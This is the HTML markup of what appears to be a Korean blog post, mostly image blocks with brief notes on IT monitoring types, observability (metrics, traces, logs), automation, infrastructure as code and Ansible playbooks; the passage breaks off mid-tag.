&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKs8kR/btsOhloZvrj/DB1yInAZplVRFcyodzhuXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKs8kR/btsOhloZvrj/DB1yInAZplVRFcyodzhuXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKs8kR/btsOhloZvrj/DB1yInAZplVRFcyodzhuXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKs8kR%2FbtsOhloZvrj%2FDB1yInAZplVRFcyodzhuXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;354&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DBMS 모니터링: 데이터베이스 성능을 향상 최상의 상태로 유지할 수 있도록 도와줌&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;341&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLmn3W/btsOhd5yvJa/ZsKrV5HGv4y2cBI1MynWsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLmn3W/btsOhd5yvJa/ZsKrV5HGv4y2cBI1MynWsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLmn3W/btsOhd5yvJa/ZsKrV5HGv4y2cBI1MynWsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLmn3W%2FbtsOhd5yvJa%2FZsKrV5HGv4y2cBI1MynWsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;341&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;341&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 네트워크 모니터링: 네트워크의 전반적인 상태를 분석해 안정적인 네트워크를 제공할 수 있도록 도와줌&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;688&quot; data-origin-height=&quot;358&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l5acx/btsOhHrN8uZ/flCPoBr7eG8aJLKQiWVMkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l5acx/btsOhHrN8uZ/flCPoBr7eG8aJLKQiWVMkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l5acx/btsOhHrN8uZ/flCPoBr7eG8aJLKQiWVMkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl5acx%2FbtsOhHrN8uZ%2FflCPoBr7eG8aJLKQiWVMkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;688&quot; height=&quot;358&quot; data-origin-width=&quot;688&quot; data-origin-height=&quot;358&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라우드 모니터링: 클라우드 자원 사용 현황 및 운영하는 애플리케이션 상태를 보여줌&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yyYuI/btsOjUXt2HS/JTIHgYr6TJCg1XFzshh23K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yyYuI/btsOjUXt2HS/JTIHgYr6TJCg1XFzshh23K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yyYuI/btsOjUXt2HS/JTIHgYr6TJCg1XFzshh23K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyyYuI%2FbtsOjUXt2HS%2FJTIHgYr6TJCg1XFzshh23K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;392&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;615&quot; data-origin-height=&quot;386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsBcnw/btsOhfvBwAM/vAWkoR3N8qfwXskkLKJPJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsBcnw/btsOhfvBwAM/vAWkoR3N8qfwXskkLKJPJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsBcnw/btsOhfvBwAM/vAWkoR3N8qfwXskkLKJPJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsBcnw%2FbtsOhfvBwAM%2FvAWkoR3N8qfwXskkLKJPJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;615&quot; height=&quot;386&quot; data-origin-width=&quot;615&quot; data-origin-height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pMyNQ/btsOhXBqQtJ/N1vuky7EYuC9lvRPENE6k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pMyNQ/btsOhXBqQtJ/N1vuky7EYuC9lvRPENE6k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pMyNQ/btsOhXBqQtJ/N1vuky7EYuC9lvRPENE6k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpMyNQ%2FbtsOhXBqQtJ%2FN1vuky7EYuC9lvRPENE6k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;395&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라우드 비용 모니터링 플랫폼: 자원 사용량에 따라 과금되는 클라우드 서비스 비용을 상세히 보여줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 하나의 클라우드 뿐만 아니라 다수의 클라우드 사용 현황을 단일 화면에서 모니터링하고 관리할 수 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;376&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oyfBg/btsOhbUfCXM/kvTztLXyPbb2LwmkXZ6jwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oyfBg/btsOhbUfCXM/kvTztLXyPbb2LwmkXZ6jwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oyfBg/btsOhbUfCXM/kvTztLXyPbb2LwmkXZ6jwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoyfBg%2FbtsOhbUfCXM%2FkvTztLXyPbb2LwmkXZ6jwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;694&quot; height=&quot;376&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;376&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;372&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nx3X1/btsOjqWrPiy/Tjivw70iU9uVV0N4ZVsV1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nx3X1/btsOjqWrPiy/Tjivw70iU9uVV0N4ZVsV1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nx3X1/btsOjqWrPiy/Tjivw70iU9uVV0N4ZVsV1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnx3X1%2FbtsOjqWrPiy%2FTjivw70iU9uVV0N4ZVsV1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;705&quot; height=&quot;372&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;372&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 옵저버빌리티(Observability): 관측가능성 혹은 관측능력, 전통적인 모니터링이 가진 한계를 극복한 가시성 확보 방안&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 옵저버빌리티가 필요한 이유: 기존의 전통적인 포인트 모니터링 환경이 너무 복잡해짐&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;372&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biOldy/btsOj4FAiap/Cal01MeXEWCkBU0YPQon5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biOldy/btsOj4FAiap/Cal01MeXEWCkBU0YPQon5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biOldy/btsOj4FAiap/Cal01MeXEWCkBU0YPQon5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiOldy%2FbtsOj4FAiap%2FCal01MeXEWCkBU0YPQon5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;729&quot; height=&quot;372&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;372&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기존 모니터링과 옵저버빌리티의 차이: 모니터링은 무엇이 잘못되었는지를 알려줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 하지만 옵저버빌리티는 왜 잘못되었는지 알려줌, 잘못된 이유를 이해할 수 있도록 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 알려지지 않고 모르고 있던 문제를 빠르게 탐지, 조사, 해결하는데 도움을 줌&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;473&quot; data-origin-height=&quot;267&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pinRD/btsOheXKOsL/i8KuhDvB3BsNE1IqpKxhAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pinRD/btsOheXKOsL/i8KuhDvB3BsNE1IqpKxhAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pinRD/btsOheXKOsL/i8KuhDvB3BsNE1IqpKxhAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpinRD%2FbtsOheXKOsL%2Fi8KuhDvB3BsNE1IqpKxhAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;473&quot; height=&quot;267&quot; data-origin-width=&quot;473&quot; data-origin-height=&quot;267&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 옵저버빌리티가 해결하고자 하는, 현대화된 IT인프라 환경에서 발생하는 문제들&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;723&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QW1fD/btsOjheny5T/mnh4iakeOA4SeKpb82KSNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QW1fD/btsOjheny5T/mnh4iakeOA4SeKpb82KSNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QW1fD/btsOjheny5T/mnh4iakeOA4SeKpb82KSNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQW1fD%2FbtsOjheny5T%2Fmnh4iakeOA4SeKpb82KSNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;723&quot; height=&quot;314&quot; data-origin-width=&quot;723&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 옵저버빌리티를 구성하는 3가지 요소: Metrics, Traces, Logs&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;515&quot; data-origin-height=&quot;356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xe83s/btsOhT6UvO8/dARquVWtE33NxozcCJExpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xe83s/btsOhT6UvO8/dARquVWtE33NxozcCJExpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xe83s/btsOhT6UvO8/dARquVWtE33NxozcCJExpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxe83s%2FbtsOhT6UvO8%2FdARquVWtE33NxozcCJExpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;515&quot; height=&quot;356&quot; data-origin-width=&quot;515&quot; data-origin-height=&quot;356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 풀스택 옵저버빌리티 솔루션의 4가지 특징&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;770&quot; data-origin-height=&quot;326&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Re1ml/btsOhGT4cHN/Xz3DSX7yAEVFGBJjG8U0y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Re1ml/btsOhGT4cHN/Xz3DSX7yAEVFGBJjG8U0y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Re1ml/btsOhGT4cHN/Xz3DSX7yAEVFGBJjG8U0y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRe1ml%2FbtsOhGT4cHN%2FXz3DSX7yAEVFGBJjG8U0y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;770&quot; height=&quot;326&quot; data-origin-width=&quot;770&quot; data-origin-height=&quot;326&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 풀스택 옵저버빌리티 솔루션 예시&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;772&quot; data-origin-height=&quot;487&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byPwMW/btsOiIp0Lrs/hDQkavOGxZWDXbhIaHPMEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byPwMW/btsOiIp0Lrs/hDQkavOGxZWDXbhIaHPMEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byPwMW/btsOiIp0Lrs/hDQkavOGxZWDXbhIaHPMEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyPwMW%2FbtsOiIp0Lrs%2FhDQkavOGxZWDXbhIaHPMEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;772&quot; height=&quot;487&quot; data-origin-width=&quot;772&quot; data-origin-height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자동화(Automation)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 자동화(Automation): 정보 기술 서비스 및 솔루션을 제공하는 데 사용되는 하드웨어, 소프트웨어, 네트워킹 구성 요소, 운영 체제(OS), 데이터 스토리지 구성 요소를 제어하기 위해 사람의 개입을 줄이면서 임무를 수행하는 기술을 사용하는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사람의 개입을 최소화하여 자동으로 되게끔 기술을 사용하는 것&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1057&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwArw7/btsOlUQOczm/A4mbbuvK5jnUEW2in1NJe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwArw7/btsOlUQOczm/A4mbbuvK5jnUEW2in1NJe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwArw7/btsOlUQOczm/A4mbbuvK5jnUEW2in1NJe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwArw7%2FbtsOlUQOczm%2FA4mbbuvK5jnUEW2in1NJe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1057&quot; height=&quot;460&quot; data-origin-width=&quot;1057&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IaC(Infra as a Code): 개발자가 직접 코드를 만들어 IT 인프라를 생성, 배치, 관리하는 기술&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IaC를 통해 반복적인 작업을 코드로 처리함으로써 업무시간을 획기적으로 단축시키고 오류 사전 방지 가능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxmjzK/btsOlNjVi8g/ThqORWZcGqNWEka6KmTIc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxmjzK/btsOlNjVi8g/ThqORWZcGqNWEka6KmTIc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxmjzK/btsOlNjVi8g/ThqORWZcGqNWEka6KmTIc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxmjzK%2FbtsOlNjVi8g%2FThqORWZcGqNWEka6KmTIc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;427&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 업무 자동화 구성: Playbook이라는 템플릿을 제공해 어떤 업무를 자동화할 것인지 손쉽게 구성 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 앤서블(Ansible): 레드햇(Red Hat)에서 개발한 오픈 소스 IT 자동화 도구로, 서버 구성 관리, 애플리케이션 배포, 작업 실행 등을 수행할 수 있음.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yKgml/btsOlytMr1T/kXzBnucMQcebUWkT1iIwmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yKgml/btsOlytMr1T/kXzBnucMQcebUWkT1iIwmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yKgml/btsOlytMr1T/kXzBnucMQcebUWkT1iIwmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyKgml%2FbtsOlytMr1T%2FkXzBnucMQcebUWkT1iIwmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;899&quot; height=&quot;470&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Job 워크플로우 생성: 업무 Playbook 을 구한 다음, 구체적으로 어떻게 실행될 것인지 워크플로우 생성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;429&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHxe1h/btsOlh61n4H/OKXKxjfVYId5KlKzFKBem0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHxe1h/btsOlh61n4H/OKXKxjfVYId5KlKzFKBem0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHxe1h/btsOlh61n4H/OKXKxjfVYId5KlKzFKBem0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHxe1h%2FbtsOlh61n4H%2FOKXKxjfVYId5KlKzFKBem0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;429&quot; data-origin-width=&quot;834&quot; 